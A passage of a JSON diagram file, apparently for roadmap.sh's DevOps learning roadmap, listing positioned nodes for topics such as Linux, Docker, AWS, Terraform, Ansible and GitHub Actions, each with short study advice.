\"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -166.70323666083152,\n        \"y\": 1933.7906301811445\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 20,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"v5FGKQc-_7NYEsWjmTEuq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.24197183582044,\n        \"y\": 61.07086027936214\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Programming Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v5FGKQc-_7NYEsWjmTEuq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": -270.24197183582044,\n        \"y\": 61.07086027936214\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TwVfCYMS9jSaJ6UyYmC-K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.66517700664997,\n        \"y\": 27.887904246554683\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eL62bKAoJCMsu7zPlgyhy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 71.66517700664997,\n        \"y\": 27.887904246554683\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"npnMwSDEK2aLGgnuZZ4dO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.66517700664997,\n        \"y\": 80.88790424655468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QCdemtWa2mE78poNXeqzr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 71.66517700664997,\n        \"y\": 80.88790424655468\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"aZOXQ2VnDQXEkOYvAU985\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -699.5491661871866,\n        \"y\": 51.88790424655468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DevOps is all about bringing developers and operations teams together to improve software delivery. The key focus areas are automation, infrastructure and monitoring.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"siB88sgVKW9VrImzFP5lT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 107,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -699.5491661871866,\n        \"y\": 51.88790424655468\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 367\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"50cCTFGu_xjwCBZ8L5KGq\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -699.5491661871866,\n        \"y\": 171.19414418959718\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Look at the FAQs below for more details\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"zij49MUabvJwH9nbTMXm0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -699.5491661871866,\n        \"y\": 171.19414418959718\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 367\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"JX85Ngeuvw2_WZyTJqynf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -531.5491661871866,\n        \"y\": 11.392753599269142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is DevOps?\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"hzVoCGrC7nHOOWThfdKfz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 35,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -531.5491661871866,\n        \"y\": 11.392753599269142\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"hzVoCGrC7nHOOWThfdKfz\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 195.07229892621632\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pick any Programming Language\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 35,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 195.07229892621632\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 331\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"_B7I6WE9lcImNDf5ycZ3J\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 230.07229892621632\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"You can pick any programming language. The goal is to learn the programming skills that you can use to write automation scripts.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"hzVoCGrC7nHOOWThfdKfz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 337,\n      \"height\": 82,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 230.07229892621632\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 337,\n        \"height\": 82\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"qe84v529VbCyydl0BKFk2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.24197183582044,\n        \"y\": 238.96876405952037\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Operating System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"43OZ35TemharSqfrst0Pv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": -270.24197183582044,\n        \"y\": 238.96876405952037\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -434.54916618718664,\n        \"y\": 240.16816385489193\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"href\": \"https://roadmap.sh/linux\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -434.54916618718664,\n        \"y\": 240.16816385489193\n      },\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"RjlbKmFG8PYZUlEYkZdxC\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -672.5491661871866,\n        \"y\": 321.8516266650171\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn about the file system, package managers, managing services, checking logs, bash scripting, permissions, pipes, output redirection, text manipulation tools, process monitoring, networking tools, CLI editors etc.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 357,\n      \"height\": 133,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -672.5491661871866,\n        \"y\": 321.8516266650171\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 357\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"hCr_nJBLgzLQKF87BHXRK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -677.5491661871866,\n        \"y\": 467.8341237640341\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pick Ubuntu if you have little to no experience.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"e7-CI7-Jr88KmqlucLGOa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -677.5491661871866,\n        \"y\": 467.8341237640341\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 367\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.24197183582044,\n        \"y\": 405.8516266650171\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Networking & Protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -270.24197183582044,\n        \"y\": 405.8516266650171\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"siB88sgVKW9VrImzFP5lT\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 359.35813194917\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn about DNS, TCP/IP Protocols, SSH, Ports, Gateways, Routing, IP Addressing, and subnetting.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"_B7I6WE9lcImNDf5ycZ3J\"\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 83,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 359.35813194917\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 83\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"l-ZxW9ULkA3x9rYEwR1_5\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 454.8516266650171\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Handy with deployments & troubleshooting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"zij49MUabvJwH9nbTMXm0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 454.8516266650171\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"wi1rbp_Z3vCUK1XlYxMd0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -666.5491661871866,\n        \"y\": 532.7838280085616\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn about containerization. Be comfortable writing dockerfiles. Learn to troubleshoot. Get familiar with Alpine Linux. Learn about security, network and storage.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 351,\n      \"height\": 108,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -666.5491661871866,\n        \"y\": 532.7838280085616\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 351,\n        \"height\": 108\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"e7-CI7-Jr88KmqlucLGOa\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -677.5491661871866,\n        \"y\": 653.284582663392\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn docker, networking, storage, and security.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"zij49MUabvJwH9nbTMXm0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 367,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -677.5491661871866,\n        \"y\": 653.284582663392\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 367\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"1ieK6B_oqW8qOC6bdmiJe\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1ieK6B_oqW8qOC6bdmiJe\"\n      },\n      \"position\": {\n        \"x\": -237.70323666083152,\n        \"y\": 910.5472024372915\n      },\n      \"width\": 162,\n      \"height\": 49,\n      \"selected\": true,\n      \"positionAbsolute\": {\n        \"x\": -237.70323666083152,\n        \"y\": 910.5472024372915\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -139.24197183582044,\n        \"y\": 739.284582663392\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-JGe6oHUuaAdakoOjTV5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -139.24197183582044,\n        \"y\": 739.284582663392\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.24197183582044,\n        \"y\": 739.284582663392\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uyDm1SpOQdpHjq9zBAdck\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -270.24197183582044,\n        \"y\": 739.284582663392\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"P0acFNZ413MSKElHqCxr3\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ctor79Vd7EXDMdrLyUcu_\"\n      },\n      \"position\": {\n        \"x\": -266.53656999416484,\n        \"y\": 562.2838280085616\n      },\n      \"width\": 225,\n      \"height\": 49,\n      \"selected\": true,\n      \"positionAbsolute\": {\n        \"x\": -266.53656999416484,\n        \"y\": 562.2838280085616\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"6ukWlZgWYDBsjBQtX7iEy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -665.5491661871866,\n        \"y\": 853.2138691039582\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pick one of the cloud providers AWS, GCP or Azure. Start with core services e.g. AWS VPC, EC2, S3, IAM, and then RDS, Route53, Cloudwatch and ECS.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 351,\n      \"height\": 107,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -665.5491661871866,\n        \"y\": 853.2138691039582\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 351\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"bNHeTLyarTWglSrbxWstI\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 680.284582663392\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DevOps teams usually practice \\\"git ops\\\" i.e. making changes to any operations related activity require a pull request against a git repository.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 108,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1.0669776205352264,\n        \"y\": 680.284582663392\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 108\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ClgW56Wf8K4kOUftfClNH\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 6.167961969006683,\n        \"y\": 798.8516266650171\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn about git, create your GitHub profile.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"RLiltnmTQ7c_R3-XAubIW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 6.167961969006683,\n        \"y\": 798.8516266650171\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"zij49MUabvJwH9nbTMXm0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -666.5491661871866,\n        \"y\": 977.8516266650171\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Create and deploy some application to AWS.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"hzVoCGrC7nHOOWThfdKfz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -666.5491661871866,\n        \"y\": 977.8516266650171\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"nUBGf1rp9GK_pbagWCP9g\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Terraform\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1057.0286602533695\n      },\n      \"width\": 162,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1057.0286602533695\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"rdmieftXY3CI3sQOGGVS9\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1006.0286602533695\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn what IaC means. Learn about terraform and how to automate infrastructure creation.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"zICMPtp5CYjbou94kClo7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 356,\n      \"height\": 56,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1006.0286602533695\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 356\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"uSLCl32h-gUAnwIdYxV8o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1075.0286602533695\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"If you deployed an application to AWS in previous step, destroy the infrastructure and recreate it using terraform.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"jBPwCEE3ctmtnGnXs1v-c\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 82,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -26.266355712798088,\n        \"y\": 1075.0286602533695\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Ansible\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XA__697KgofsH28coQ-ma\"\n      },\n      \"position\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1171.6953269200362\n      },\n      \"width\": 162,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1171.6953269200362\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"Jos0TQzm9ADvgi0Qq8c41\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -691.0491661871866,\n        \"y\": 1089.6953269200362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn what is configuration management. Understand roles, playbooks, inventory management and automation.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"aztOMDhH6Rf9SXT0RPQnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 375,\n      \"height\": 82,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -691.0491661871866,\n        \"y\": 1089.6953269200362\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 375\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"KV4pOi62klQzD5A5LqDVF\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -687.9010635117819,\n        \"y\": 1184.361993586703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Write some automation scripts e.g. db backup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0040ff\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"RLiltnmTQ7c_R3-XAubIW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 366,\n      \"height\": 31,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -687.9010635117819,\n        \"y\": 1184.361993586703\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 366\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"JnWVCS1HbAyfCJzGt-WOH\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1319.019051793532\n      },\n      \"width\": 162,\n      \"height\": 49,\n      \"selected\": true,\n      \"positionAbsolute\": {\n        \"x\": -237.70323666083152,\n        \"y\": 1319.019051793532\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"aztOMDhH6Rf9SXT0RPQnt\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -689.2417384100206,\n        \"y\": 1274.9566740795606\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn about the concepts of CI/CD and how to implement in your projects using some CI/CD tool. There are several options available in this space, you can pick any one.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"right\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"siB88sgVKW9VrImzFP5lT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 375,\n      \"height\": 107,\n      \"dragging\": false,\n      